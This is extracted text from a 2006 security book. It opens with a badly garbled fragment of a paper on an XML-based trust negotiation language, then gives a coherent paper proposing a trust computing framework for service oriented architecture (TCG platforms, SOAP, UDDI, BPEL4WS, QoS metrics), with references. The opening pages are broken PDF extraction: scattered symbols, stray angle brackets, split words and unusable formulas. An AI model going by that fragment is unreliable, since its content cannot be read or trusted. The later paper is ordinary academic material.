1. Car Rentalp ← T rust ticket(V alidRes = Rental) 2. Car Rentalp ← Car P ref erences().

X PB X (vpolt , Vpolt , Epolt , Θpolt )

polt

vpolt e Vpolt = Vpolt

a polt

e Vpolt

X

vpolt

Vpolt Epolt ⊆

pol

Vpol

θEpolt : Epolt → Label∗ vpolt vpolt

e Epol

policySpec+

X

60

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations < < < < < < < < < < < < < < < < < ]>

>

>

>

>

>

| >

>

>

>

>

>

>

|

> >

|

> >

X

X

X

|

|

X

X

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

< <

>

< < < < <

> <

>

←

>

>

>

>

>

< <

> >

< < < < < < <

> >

> >

> >

>

X

X

X

61

62

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

N amei , KeywordSeti , LangSeti

Ci KeywordSeti Ci

N amei

Ci N amei LangSeti

KeywordSeti

KeywordSeti LangSeti

Ci

C =< gender, {sex}, {passport.gender DriversLicense.sex} > gender sex passport.gender DriversLicense.sex C C C = < N ame KeywordSet LangSet > C =< N ame KeywordSet LangSet > KeywordSet ∩ KeywordSet = ∅ LangSet ∩ LangSet = ∅ O Ci ≺ Ck

{C1 , . . . , Cn }

≺ Ck

Ci Ci

Ck

X

address ≺

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

O TR

R

R, properties, conditions R conditions properties

63

O properties

∀ ∈ properties Ci = N amei , KeywordSeti , LangSeti ∈ p ∈ KeywordSeti properties conditions O

(CompactCar Company Employee, gender, country {Company Employee ∈ {F ly, Sun, Alpitour}, gender = male, country = America}) (T ruck,Jobtitle,Company employee,{JobT itle = AgentSeller, Company Employee ∈ {F ly, Sun, Alpitour}})

Summer

1) CT () 2) CT (Ci )

CT

Ci

T R = R, properties, conditions properties conditions

sex

64

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

age > 25 P assport(age > 25)

1979) ⇔

⇒

DriversLicense(yearOf Birth <

age > 45 ⇒ age > 20 CX

X

R ← T1 , . . . , Tn n ≥ 1 R, properties, conditions

X

TR =

• ∀(p op k) ∈ conditions Ti CT (Ai op k ) {T1 , . . . , Tn } CT.Ai ∈ LangSet LangSet Cp Ai op k ⇒ p op k • ∀p ∈ properties Ti {T1 , . . . , Th } Ti CT () CT (Ai ) CT (Ai op k) CT () ∈ LangSet CT.Ai ∈ LangSet LangSet Cm Cm Cp

married M arriageCertif icate() married

Id Card.M aritalStatus =

CompactCar ← Id Card(Lastname, Residence = America), W ork Badge(Company ∈ {F ly, Sun, Atour}), P assport(Sex = f emale) DP 2 : CompactCar ← SS card(Lastname), ResidenceCertif icate(issuer ∈ {Alaska, Alabama, Baltimora, etc..)}, W ork Badge(Company ∈ {F ly, Sun, Atour}), DriverLicense(Sex = f emale) DP 3 : CompactCar ← W orkCertif icate(Lastname), Id Card(Country = America), Badge(Company ∈ {F ly, Sun, Atour}), P assport(Sex = f emale)

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

65

CompactCar

{Alaska, Alabama, Baltimora, ..)} State

ResidenceCertif icate(Issuer ∈

Country

TR TR

DPi DPj

X X X

66

A.C. Squicciarini et al. / A Comprehensive XML-Based Language for Trust Negotiations

III. Architecture

This page intentionally left blank

Information Assurance and Computer Security J.P. Thomas and M. Essaaidi (Eds.) IOS Press, 2006 © 2006 IOS Press. All rights reserved.

69

Extending Trust Computing with Service Oriented Architecture1 Jen-Yao CHUNG a, Stephen J.H. YANG b and Blue C.W. LAN b,2 a

IBM T. J. Watson Research Center P.O. Box 218, Yorktown Heights, New York 10598, USA b Dept. of Computer Science & Information Engineering, National Central University No.300, Jhongda Rd., Jhongli City, Taoyuan County 32001, Taiwan (R.O.C.) Abstract. Service oriented architecture is an approach to build distributed systems that deliver application functionality as services to end-user applications or to build other value-added services. The adoption of service oriented architecture will help enterprises achieve an agile e-business environment to provide customers flexible services by integrating required application functionalities dynamically and seamlessly. However, the dynamic and loosely coupling nature will raise many trust concerns of the service computing technology e.g. QoS and security issues. In this paper, we propose a framework for trust computing by extending trusted platforms with service oriented architecture. We employ Trusted Computing Group’s trusted computing platform as the foundation of the framework and apply cryptography infrastructure as the enabling technologies to secure all interactions among service requesters, service providers and service registries. Based on the enabling technologies, we can further divide service level trust concerns into three layers namely service description and publishing, service discovery and composition and service execution and monitoring. We also provide guidelines for each separate trust concern in the three layers correspondingly. Keywords. Trust computing, Service-oriented architecture, Trustworthy Web service, Non-functional attributes

1. Introduction Trust computing or trustworthy computing becomes an important and pressing problem for the development of today’s information technologies since a lot of computer systems have been utilized to tackle numerous critical and complicated tasks, for example, heavy air traffic controls, millions of financial transactions and the maintenance of power plants etc. Any hardware or software failures may lead to myriads of unrecoverable damages in both economic and social aspects. Trust computing is a long-term and collaborative effort to improve computer security, system reliability and data privacy. The attempts on securing computer systems against threats to data confidentiality, integrity and availability can trace the history back to the 1960’s in which large-scale and shared multiprocessing systems were developed generally [1]. How to protect users from each other within a single computing environment was a main issue for the development of operating systems at that time. Initially, operating 1

This paper is extended from our previous works: “Extending Trust Computing with Service Oriented Architecture,” Proc. of Information and Communication Technologies International Symposium (ICTIS), pp. 399-403, June 2005. 2 Corresponding Author: Blue Ci-Wei Lan, Dept. of Computer Science & Information Engineering, National Central University, No.300, Jhongda Rd., Jhongli City, Taoyuan County 32001, Taiwan (R.O.C.); E-mail: [email protected].

70

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

system developers treated security flaws as any other common bugs and fixed found security flaws by software patches. However, such penetrate-and-patch method did not succeed in achieving secure computer systems but in penetrating insecure ones instead. The informal processing of security flaws in a computer system resulted in seemingly endless software patches because a new security flaw always could be found in a previously patched computer system when a new person or group try to penetrate the system later [2]. Hence it needs a cost effective way to prevent the occurrences of insecure events instead of patching found security flaws repeatedly. In order to improve computer’s security capabilities and create trustworthy computer systems in a systematic manner, researchers extended the design of operating system’s monitor to the executions of upper software applications and proposed a similar concept called reference monitor to validate that all references to any critical system resources such as memory and files were consistent with the corresponding access control policy. They also tried to isolate and encapsulate the needed hardware and software in a small and simple enough part of a system named as security kernel such that high confidence in its validation correctness could be established [1]. Although researchers failed to illustrate their proposals with an actual implementation of security kernel due to the difficulty of code isolations, the proposed concept provided useful guidance for designing a trustworthy computer system afterward. For instance, Trusted Computing Group (TCG) [3] attempts to deliver enhanced hardware and operating system based trusted computing platforms recently. TCG tries to promote trust computing by redesigning computing platform architectures in which the distinguishing and arguable feature namely Roots of Trust is incorporated. In TCG systems, Roots of Trust are components that must be trusted and each root is trusted to function correctly without external oversight. Thus the combination of different roots will form a trust boundary where all operations are carried out as expectations and the trust boundary can be extended to include codes that did not natively reside within the roots by verifying trustworthy descriptions of codes. However, a new computing paradigm called service oriented architecture (SOA) is emerged while researchers devote themselves to the study of trust computing within a single computing environment. The new computing paradigm pushes the challenge of trust computing from concrete hardware and operating system layer up to abstract service layer and gives rise to a new research issue – Whether a distributed, loosely organized, flexible and dynamic computing system can ever reach the same level of trustworthiness. Service oriented architecture (SOA) is a component model that inter-relates the different functional units of an application, called services, through well-defined interfaces and contracts between these services. The interface is defined in a neutral manner so it shall be independent of the hardware platform, the operating system, and the programming language the service is implemented in. This allows services which are created by different programming languages to interact with each other in a uniform and universal manner [4]. XML based Web services are popular enabling technologies to implement SOA and there are a number of de facto standards including SOAP [5], WSDL [6], UDDI [7] and BPEL4WS [8] for service communication, description, advertisement and orchestration respectively. SOAP [5] is the lightweight communication protocol that can be used for messaging and remote procedure calls (RPCs) on existing Internet transport protocols such as HTTP, SMTP and MQSeries etc. A SOAP message is represented in a very simple structure called envelope that is composed of two XML elements namely header and body. The envelope defines an overall framework for representing the contents of a SOAP message to identify who

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

71

should deal with all or part of it and to specify whether handling such parts are optional or mandatory etc. Although SOAP is fundamentally a stateless and one-way message exchange paradigm, applications can create more complex interaction patterns e.g. request-response by combing such one-way exchanges with underlying protocol’s features. WSDL [6] provides a model for describing Web services in two fundamental stages. At the abstract level, a Web service is represented by descriptions of the messages it sends and receives and the descriptions are encoded independent of a specific wire format. At the concrete level, the specific protocol-dependent details of a service are presented such that users can follow specified bindings to access the service. The separation of service descriptions is concerning the fact that services with the same functionality are usually deployed at different end points without largely different access protocol details. Hence WSDL can help service provider describe common services among slightly different end points by separating the service descriptions into two different levels. UDDI [7] is the universal discovery mechanism that provides users a systematic way to find out desired services through a centralized service registry and also provides service providers a standard SOAP API for service advertisements. There are three kinds of information about a registered Web service, i.e. white pages include information of name and contact details, yellow pages provide a categorization upon business and service types and green pages specify technical data of the services. Based on these three encoding information, UDDI can support keyword- or directory-based service discovery. BPEL4WS [8] is an XML-based open standard for modeling business processes. By creating on top of the Web service foundation, BPEL4WS can be used to describe event sequences and collaboration logics of a business process while the underlying Web services provide the process functionalities. BPEL4WS enables both client-server alike synchronous communication and peer-to-peer asynchronous message exchanges. Furthermore, BPEL4WS also provides specific support for long-running and stateful business processes such that business processes instances can persist over extended periods of inactivity. For recovery concerns, BPEL4WS defines two handlers named compensation handler and fault handler to help undo any previous actions and deal with errors occurring either within processes or in external Web services respectively. Based on these fundamental Web services technologies, SOA provides IT people more agility than before in terms of software interoperability, reusability and visibility. Through dynamic service discovery and flexible service composition, heterogeneous software components can be aggregated or composed to carry out specific computing tasks in a loosely coupled manner. Generally, SOA advocates taking advantages of any available services no matter where they are allocated to fulfill a computing request rather than creating specific software components from scratch. The adoption of SOA not only speeds up software development lifecycle such that IT people can deliver required functionalities in time but also increases the possibility of exploiting accessible expertise by dynamic service discovery. However, delegating a computing task to dynamically found services have to undertake the risk of unknown service providers and unknown services qualities. The uncertainties in such a distributed, loosely organized, flexible and dynamic computing environment will cause a lot of trustworthiness problems including (1) Quality of Service (QoS): What are the service’s availability, reliability, scalability, performance and integrity? From service requesters’ perspective, they care about not only the functionality of a service but also its QoS issues. How can service requesters ensure that a found service will be available and will work reliably? Can a service provide its functionality consistently under

72

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

different loading? How does a service rollback its execution state if it fails in the middle? (2) Security of message based communications: How do service requesters and service providers keep confidentialities of transmitted data over secured or unsecured communication channels? They have to prevent classified information from internal and external eavesdropping. How can service requesters and service providers maintain data integrity? All interactions and data exchanging between the service requester and the service provider should comply with some kind of agreements. Any unauthorized modifications may lead to violations of agreements or misunderstanding of original intendment. (3) Management of trust relationships: Can service requesters trust service advertisements? What is the reputation of the corresponding service provider? How to measure the service’s functional and non-functional performances is the key for evaluating the trustworthiness of the service advertisements and the service provider. It is also helpful for both service requesters and service providers to maintain trust relationships among them such that they can have higher confidence in interacting with each other based on collected past experiences. In this paper, we propose a trust computing framework to discuss the challenge of extending trust computing with Web services based SOA. The framework covers a wide range of trust concerns spanning from tangible hardware to abstract services. We apply TCG’s enhanced hardware and OS based trusted computing platform as the foundation and employ cryptography infrastructures as the enabling technology to secure all operations. Based on the enabling technologies, we can reduce complexities of the challenge by dividing service level trust concerns into three layers, service description and publishing, service discovery and composition, service execution and monitoring, so that service requesters and service providers will have a clear understanding of how to perform trust computing with service-oriented architecture. The rest of the paper is organized as the following: Section 2 discloses important related works and state of the art. Section 3 demonstrates the framework with general discussions. Section 4 is the summary and future trends.

2. Related Works In order to improve the reliability of modern computer systems and promise to develop more trustworthy computing environments, both industrial vendors and academic institutes spend a lot of time on trust computing studies and form a number of open organizations such as TCG [3] and TRUST [9] dedicated to providing various solutions with joint efforts. Trusted Computing Group (TCG) is a not-for-profit organization formed to develop, define and promote open standards for hardware-enabled trusted computing and security technologies across multiple platforms, peripherals and devices. From TCG’s viewpoint, trust is the expectation that a device will behave in a particular manner for a specific purpose and a trusted platform should provide at least three basic features namely protected capabilities, integrity measurement and integrity reporting. Hence they design Trusted Platform Module (TPM) as the basis for enhancing the security of computing environment in disparate platforms including mobile devices, PC clients, servers and storage systems etc. TPM is the root of trust, which indicates it is the component that must be trusted without external oversight, and it provides numerous cryptographic capabilities such as encryption/decryption, digital signature and integrity measurement etc. With the combination of transitive trust and TPM, trust boundary can be extended from trusted execution kernel up to OS loader codes, OS

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

73

codes and application codes by proving system’s integrity to the remote party. Generally, TPM is implemented as a micro-controller to store keys, passwords and digital certificates such that it can be used in different computing platforms to assist in performing protected capabilities, integrity measurement and integrity reporting. IBM 4758 cryptographic coprocessor [10] shows how to use TPM in an open way. Team for research in ubiquitous secure technology (TRUST) is a new science and technology center established by US National Science Foundation and TRUST brings a lot of top US universities in security research together including Berkeley, Stanford, Carneige Mellon and San Jose State university etc. Due to a rapid increase in computer security attacks at all levels in the last decade, TRUST recognizes that computer trustworthiness is a pressing scientific, economic and social problem. They try to solve the problem from three directions: (1) Security science – includes software security, trusted platforms, applied cryptographic protocols and network security. (2) System science – includes complex inter-dependency modeling and analysis, secure network embedded systems, model-based integration of trusted components and secure information management software tools. (3) Social science – includes economics, public policy and societal challenges, digital forensics and privacy and human computer interfaces and security. Besides, TRUST will have an education and outreach component that focuses not only on integrating research and inquiry-based education but also on transferring new and existing knowledge to undergraduate colleges, educational institutions serving under-represented populations and the K-12 community. For the long-term considerations, such activities can help lay the groundwork for training the scientists and engineers who will develop the next generation of trustworthy systems as well as help prepare the individuals who will ultimately become the users and consumers in the future. There are also many different attempts on offering trustworthy solutions in the service level including QoS-aware service delivery, trustworthy service selections, reliable service compositions and validation-based access control etc. wsBus [11] is an enhanced service registry as well as an intermediary that augments and manages the delivery of Web services by providing run-time support for reliable messaging, securing, monitoring and managing of Web services. It acts as a mediator between service requesters and service providers. All messages are intercepted by a messaging gateway and messages will be placed onto a queue for follow-up processing if they succeed in passing three reliability checks of message’s expiration, duplication and ordering. In the mean time, wsBus will keep all messages in a persistent storage to provide fault tolerance and reliable message delivery such that messages can be re-sent when communication failures occur. Besides, wsBus also supports multiple transport protocols such as MSMQ, TCP, JMS and HTTP/R and thus it can offer reliable service delivery by taking advantage of underlying protocol’s reliable communications capabilities. Wang et al [12] proposed an integrated quality of service (QoS) management in service-oriented enterprise architectures. The integrated QoS management provides QoS support in a consistent and coordinated fashion across all layers of enterprise systems ranging from enterprise policies, applications, middleware platforms down to network layers. They classified QoS characteristics into four categories and developed an XML-based language for service requesters to express QoS requirements: Performance – response time, message throughput, payload size and end-to-end delay; Reliability – delivery guarantee, duplication elimination, message ordering, loss probabilities, error rate, retry threshold, message persistency and criticality; Timeliness – time-to-live, deadline, constant bit-rate, frame time and priority;

74

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

Security – message signing and encryption. The integrated QoS management architecture consists of various component services to help service providers determine whether QoS requirements of required services from a client can be satisfied based on evaluations of current work loadings and resource allocations. In addition, the architecture supports run-time QoS monitoring and adaptations as well. Tosic et al [13] tried to assist service requesters in selecting appropriate Web services with comprehensive contractual descriptions. From technical contract perspective, they claimed that comprehensive descriptions of Web services require several different types of contracts and they classified all kinds of contractual descriptions into three broad categories: Functionality contracts – syntactic contract, behavioral contract, synchronization contract and compositional contract; Quality contracts – QoS contract and pricing contracts; Infrastructure contracts – communication contract, security contract and management contract. Based on the categories, they examined a number of existing Web service languages including WSDL [6], BPEL4WS [8], WS-CDL [14], WS-Policy [15], WSLA [16], WSOL [17] and OWL-S [18] to check what types of contracts can be specified with them. However, none of the previous specifications can provide comprehensive description capabilities. On the other hand, Zhang et al [19] presented another method to help service requesters select trustworthy Web services. They proposed a user-centered, mobile agent based, fault injection equipped and assertion oriented approach to assist service requesters in selecting trustworthy Web services. Upon their UMFA approach, service requester can employ mobile agents with test data and predefined semantic assertions to determine whether targeted services can fulfill both functional and trustworthy requirements thoroughly. In the case of Web services compositions, the QoS and trustworthiness problems are more complex than the problems in individual services due to various compositional patterns. Jaeger et al [20] provided a mechanism to help service requesters determine the overall QoS of a Web services composition by aggregating the QoS of the individual services. Based on defined composition patterns including Sequence, Loop, XOR-XOR, AND-AND, AND-DISC, OR-OR and OR-DISC, they gave the corresponding aggregation rules of mean execution time, mean cost and mean fidelity. In order to get a closer estimation of the service composition, the proposed aggregation method will take dependencies into account if dependencies between particular services exist. The effectiveness of such considerations is obvious while services within a particular dependency domain are invoked from different composition patterns of the whole composition. Liu and Chen [21] proposed an extended role based access control (RBAC) model, called WS-RBAC4BP, to protect Web services in business process. They claimed that Web services are built in open distributed environment, which is apt to cause security concerns, and there is a lack of comprehensive approach in access control for Web services in business process. In WS-RBAC4BP, they defined four basic data elements – companies (COMP), roles (R), Web services (WS) and business processes (BP). Role is the key means to build different relationships such as one-to-one, one-to-many, many-to-one and many-to-many among companies, Web services and business processes. By putting constraints on these relationships, different Web services can be accessed by authorized roles only. Zhang et al [22] proposed a layered model to control the trustworthiness of computing in the domain of Web services. They defined four key layers namely resources, policies, validation processes and management and each layer is equipped with an ad hoc Web services standard language or product to cooperatively

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

75

safeguard Web services-centered trustworthy computing. However, only high-level guidance is presented and no concrete instructions are shown in the model.

3. Trust Computing with Service Oriented Architecture Trust is a multi-dimensional problem that involves different social issues as well as various engineering challenges and it is hard to provide a thorough solution of trust computing with full coverage of all considerations. Thus we will not discuss social parts in this paper, which define trust as a mental state, a social attitude and relation [23], and we focus on solid engineering supports instead. Figure 1 illustrates our proposed framework for trust computing with service oriented architecture. We employ TCG’s trusted computing platform as the foundation of the framework and apply cryptography infrastructure as the enabling technologies to secure all communications. Notwithstanding there has some controversies over TCG’s trusted computing platform such as consumer privacy, software copyright and host autonomy, we advocate deploying the platform to exploit its prominent capability of remote attestations. It is obvious that a user has higher confidences in a computer system if the system can prove its integrity to the user than in the ones that cannot do. On the other hand, all interactions among service requesters, service providers and service registries are enforced to operate upon secure SOAP messages, which signify that communicating parties are empowered by agreed cryptographic techniques to verify each other’s identity and exchanged data as well. The rationale of choosing SOAP as transport protocol is its widespread acceptance and flexible envelope mechanism. The envelope is a message-encapsulation protocol that could separate application-specific information expected by communicating parties from other optional data such as routing path and security data. Hence it is suitable to choose SOAP as the communication protocol among service requesters, providers and registries.

Figure 1. Framework for trust computing

76

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

From service’s perspective, we classify trust concerns into three phases namely service description and publishing, service discovery and composition and service execution and monitoring. We consider that a Web service is trustworthy for a service requester if the service can fulfill the requester’s functional and non-functional requirements. As trust has multi-dimensional concerns, the consideration can help us determine the scope of a trustworthy Web service technologically and avoid involving other non-technological aspects, which may need advanced social engineering technique and that is beyond the scope of this paper. By exposing non-functional descriptions, service requester will be more confident of a Web service in terms of the understanding of the service’s non-functional characteristics, for example, security capability, quality property and execution performance etc. In our previous works [24], we proposed some non-functional attributes of a Web service as illustrated in Figure 2. We do not intend to provide a thorough non-functional schema here but want to show that how non-functional attributes contribute to the trustworthiness of service-oriented business process integration.

Figure 2. Example of non-functional attributes

In order to convince service requesters of offered service’s characteristics and build good reputation for fair service advertisements, service providers should describe both functional and non-functional characteristics of offered service as precise as possible. We provide some guidelines for service providers to precisely describe proposed nonfunctional attributes as follows. • Security considerations: A service can be associated with one or more security tokens that are verifiable credentials owned by the service provider. Besides, service provider can also enumerate all offered cryptographic methods accompanied with various algorithms so that service requester and service provider can negotiate a preferable method in advance.

77

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

•

Quality considerations: We proposed three common features i.e. reliability, availability and usability, to characterize quality descriptions of a Web service. In order to convince service requester of service’s quality descriptions, service provider should conduct a great deal of experiments to test the quality features of offered services and honestly specify evaluation results with the following metrics. Availability = Reliability = 1

MTTF MTTF + MTTR No. of Failures No. of Executions

MTTF = Mean Time to Failure MTTR = Mean Time to Recovery

•

However, usability is very subject to different opinions and thus it is much harder for service provider to provide fairly objective and precise descriptions of usability feature. An applicable measurement of usability is to collect feedbacks from service requesters by linear grading, for example, highly useful (90% ~ 100% satisfactions), useful (70% ~ 90% satisfactions), acceptable (50% ~ 70% satisfactions) and poor design (0% ~ 50% satisfactions). With linear grading, service requesters can objectively determine whether a service is useful or not by quantifying overall perceptions of the service. Performance considerations: We proposed two key attributes of a service’s performance namely response time and throughput. Service provider can follow certifiable software development methods [25] and adopt model-based performance risk analysis [26] to precisely evaluate offered service’s performance by taking the service as a queuing network model. In order to simplify the evaluation process, service provider can adopt batch workloads, which denote the evaluation is based on a fixed population. The assumption of batch workloads has two important advantages: (1) It is more intuitive and efficient for a service requester to setup a performance requirement based on fixed population than on varied population over time. (2) Batch workloads require only one parameter for the estimation i.e. computing demands of each component. However, transaction workloads (i.e. varied population over time) require two parameters namely computing demands of each component and request arrival rate. Table 1 shows asymptotic upper bound and lower bound of proposed performance attributes: response time R(N) and throughput X(N), with a batch workload N given by [27]. Table 1. Asymptotic bounds of response time and throughput

Performance issue Response time R(N) Throughput X(N)

Upper bound

Lower bound

N

max( D

D N 1 min( ) D Dmax

N

1 D

Remarks: 1. D is the sum of computing demands of all components. 2. Dmax is the maximum computing demands among all components. 3. N is the number of requests, which is greater or equal to one.

Dmax )

78

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

Figure 3 is an annotated UML example of a service named “Goods Delivery”, which demonstrates how to derive all required computing demands from annotated UML diagrams, and service provider can complete the annotation in 3 steps. (1)

Firstly, service provider should analyze functionalities of the service and draw down the sequence diagram following UML specification [28].

(2)

Service provider can identify all component actions from the sequence diagram and estimate required computing demands of each component action based on its complexity as illustrated in Figure 3(a).

(3)

With the aid of stereotype mechanism, service provider can annotate the deployment diagram with concrete resource types. Besides, service provider should also specify the performance characteristic of each deployed resource type as illustrated in Figure 3(b).

(a) Annotated sequence diagram

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

79

(b) Annotated deployment diagram

Figure 3. An example of “Goods Delivery” service

According to annotated information, service provider can calculate computing demands of each component as follows: DUser Interface = 30150 sec, DSchedule Agent = 21550 sec, DBilling Agent = 22010 sec Then service provider can evaluate the asymptotic bounds of offered service’s performance as shown in Table 2. Table 2. Asymptotic bounds of “Goods Delivery” service

Performance Upper bound issue Response time N 0.07371sec R(N) Throughput X(N)

min(

Lower bound

max(0.07371sec N 0.03015 sec)

1 1 N ) 0.07371 0.03015 0.07371

Remarks: 1. N is the number of requests, which is greater or equal to one.

80

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

Based on enriched service descriptions, service requesters are empowered to specify non-functional requirements of desired services but how to utilize these fruitful descriptions to compose a trustworthy service composition for a specific business goal is another research issue. In our previous works [24], we defined a generation process of trustworthy service composition as illustrated in Figure 4.

Figure 4. Generation of trustworthy service composition

Firstly, we claime that a service requester will trust a service if the service can satisfy all the following conditions: (1) The service fulfills requester’s functional requirements – The requester can ensure the service will be performed as his expectations. (2) The service matches with requester’s non-functional requirements – The requester can assure himself that the service will support required security capability, provide required quality and complete the work in the expected time. (3) The identity of the service provider should be verifiable – The provider should present his credential to convince the requester of his identity. Secondly, after retrieving all required services, we can perform service compositions to aggregate retrieved services and describe the composition model with BPEL4WS specification [8]. In addition to check the trustworthiness of each service, it is also critical to ensure the correctness of the composition model and we utilized Petri nets [29] to verify the composition model based on service’s past experiences analysis.

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

81

Service execution monitoring is the most important step to check whether services will be executed as requester’s expectation including both functional and nonfunctional requirements. For security considerations, the WS-Security specification [30] can provide a general-purpose mechanism for associating security tokens with SOAP messages to accommodate a wide range of security models supported by different services providers and requesters. We can carry out various security mechanisms such as identity authentication, data encryption and digital signature to enhance the trustworthiness of services executions. Figure 5 shows a general process of data encryption and decryption with WS-Security. In addition to the security considerations, we also need some monitoring mechanism to evaluate other considerations such as reliability and availability. A possible solution is to enforce each BPEL4WS engine on recording each service execution and the BPEL4WS engine should be responsible for reporting past experiences to the UDDI registry [7] where the service registered. We may also need to create an auxiliary repository accompanying with each UDDI registry for the management of reported records. On the other hand, in order to invoke a qualified service at runtime based upon examination of the service’s meta-data, service providers can apply Web Services Invocation Framework (WSIF) [31] in conjunction with WSDL to defer choosing a binding until runtime. The decoupling of the abstract invocation from the real provider that does the work results in a flexible programming model that allows dynamic invocation, late binding and clients being unaware of large scale changes to services such as service migration or change of protocols.

Figure 5. Encryption / decryption process

82

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

4. Summary and Future Works We have presented our framework for trust computing with service-oriented architecture and key issues can be summarized as the following: 1. In service description and publishing phase, services should be enriched with nonfunctional descriptions. Service providers should specify offered service’s functional and non-functional characteristics precisely so that service requesters can correctly judge whether there has desired services or not. 2. In service discovery and composition phase, each constituent Web Service should be trustworthy as well as their providers and the whole composition should be verified by formal methods. Besides, UDDI registry should be expanded to keep enriched non-functional descriptions. 3. In service execution monitoring phase, services should have the ability of supporting security requirements to promise the trustworthiness of execution results and BPEL4WS engine should support service monitoring and log the service’s performance. In our future works, we plan to perform some experiments on real world scenarios and to demonstrate an agile and efficient paradigm of business process integration (BPI) based on proposed framework. We will concentrate our attention on the development of trustworthy service-oriented architecture including dependable service provision, selection, composition and execution so that both service providers and service requesters will have confidence in all interactions between each other.

References [1]

[2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13]

C. E. Landwehr, 1993, "How far can you trust a computer?," Proc. of 12th Int’l conference on Computer Safety, Reliability and Security (SAFECOMP 93), J. Gorski, ed., ISBN 0-387-19838-5, Springer-Verlag, New York. P. G. Neumann, 1978, "Computer security evaluation," Proc. of National Computer Conference, pp. 1087-1095. Trusted Computing Group, 2005, "Trusted Computing Group," Trusted Computing Group, https://www.trustedcomputinggroup.org/. IBM developerWorks, n.d., "New to SOA and Web services," http://www128.ibm.com/developerworks/webservices/newto/. N. Mitra, 2003, "SOAP Version 1.2 Part 0: Primer," WWW Consortium, http://www.w3.org/TR/2003/REC-soap12-part0-20030624/. R. Chinnici et al, 2004, "Web Services Description Language (WSDL) Version 2.0 Part 1: Core Language," WWW Consortium, http://www.w3.org/TR/wsdl20/. T. Bellwood, L. Clement and C. V. Riegen, 2003, "UDDI Version 3.0.1," OASIS, http://uddi.org/pubs/uddi_v3.htm. T. Andrew et al, 2003, "Business Process Execution Language for Web Service Version 1.1," IBM DeveloperWorks, http://www.ibm.com/developerworks/library/ws-bpel. TRUST, 2005, "Team for Research in Ubiquitous Secure Technology (TRUST)," http://trust.eecs.berkeley.edu/. L. v. Doorn, J. Dyer, R. Perez and R. Sailer, n. d., "4758/Linux Project," http://www.research.ibm.com/secure_systems_department/projects/linux4758/index.html. A. Erradi and P. Maheshwari, 2005, "wsBus: QoS-aware Middleware for Reliable Web Services Interactions," Proc. of IEEE EEE05, pp. 634-639. G. Wang, A. Chen, C. Wang, C. Fung and S. Uczekaj, "Integrated Quality of Service (QoS) Management in Service-Oriented Enterprise Architectures," Proc. of IEEE EDOC04, pp. 21-32, 2004. V. Tosic and B. Pagurek, 2005, "On Comprehensive Contractual Descriptions of Web Services," Proc. of IEEE EEE05, pp. 444-449.

J.-Y. Chung et al. / Extending Trust Computing with Service Oriented Architecture

83

[14] N. Kavantzas, D. Burdett, G. Ritzinger and Y. Lafon (eds.), 2004, "Web Services Choreography Description Language Version 1.0." WWW Consortium, http://www.w3.org/TR/2004/WD-ws-cdl-1020041217/. [15] S. Bajaj et al, 2004, "Web Services Policy Framework (WS-Policy)," BEA, IBM, Microsoft etc., http://www-106.ibm.com/developerworks/library/specification/ws-polfram/. [16] A. Keller and H. Ludwig, 2003, "The WSLA Framework: Specifying and Monitoring Service Level Agreements for Web Services," Plenum Publishing, Journal of Network and Systems Management, Vol. 11, No. 1, pp. 57-81. [17] V. Tosic et al, 2003, "Management Applications of the Web Service Offerings Language (WSOL)," Springer-Verlag, Proc. of CAiSE03, pp. 468-484. [18] The OWL Services Coalition, n.d., "OWL-S: Semantic Markup for Web Service Version 1.0," http://www.daml.org/services/owl-s/1.0/owl-s.html. [19] J. Zhang, L. J. Zhang, and J.Y. Chung, 2004, "An Approach to Help Select Trustworthy Web Services," Proc. of IEEE CEC-East, pp. 84 – 91. [20] M. C. Jaeger, G. R. Goldmann and G. Muhl, 2005, "QoS Aggregation in Web Service Compositions," Proc. of IEEE EEE05, pp. 181-185. [21] P. Liu and Z. Chen, 2004, "An Extended RBAC Model for Web Services in Business Process," Proc. of IEEE CEC-East, pp.100 – 107. [22] J. Zhang, L. J. Zhang and J. Y. Chung, 2004, "WS-Trustworthy: A Framework for Web Services Centered Trustworthy Computing," Proc. of IEEE SCC04, pp.186-193. [23] C. Castelfranchi and R. Falcone, 2001, "Social Trust: A Cognitive Approach, Trust and Deception in Virtual Societies," Kluwer Academic Press, pp. 55-90. [24] S. Yang, C. Lan, J. Chung, 2005, "A Trustworthy Web Services Framework for Business Processes Integration," Tenth IEEE International Workshop on Object-oriented Real-time Dependable Systems (WORDS 2005). [25] SEI, 2004, "Capability, Maturity Model Integration," Carnegie Mellon University, http://www.sei.cmu.edu/cmmi /cmmi.html. [26] V Cortellessa, et al, 2005, "Model-Based Performance Risk Analysis," IEEE Trans. on Software Engineering, Vol. 31, No. 1, PP. 3-20. [27] E. D. Lazowska, 1984, "Quantitative System Performance: Computer System Analysis Using Queuing Network Models," Prentice-Hall. [28] G. Booch, I. Jacobson and J. Rumbaugh, 1998, "The Unified Modeling Language User Guide," Addison Wesley. [29] S. Yang, J. Hsieh, C. Lan, J. Chung, 2005, "Composition and Evaluation of Trustworthy Web Services," IEEE EEE05 International Workshop on Business Services Networks (BSN 2005). [30] B. Atkinson et al, 2002, "Web Services Security (WS-Security) Version 1.0," IBM, Microsoft, and VeriSign, http://www.ibm.com/developerworks/library/ws-secure/. [31] Apache Software Foundation, 2004, "Web Services Invocation Framework," http://ws.apache.org/wsif/.

84

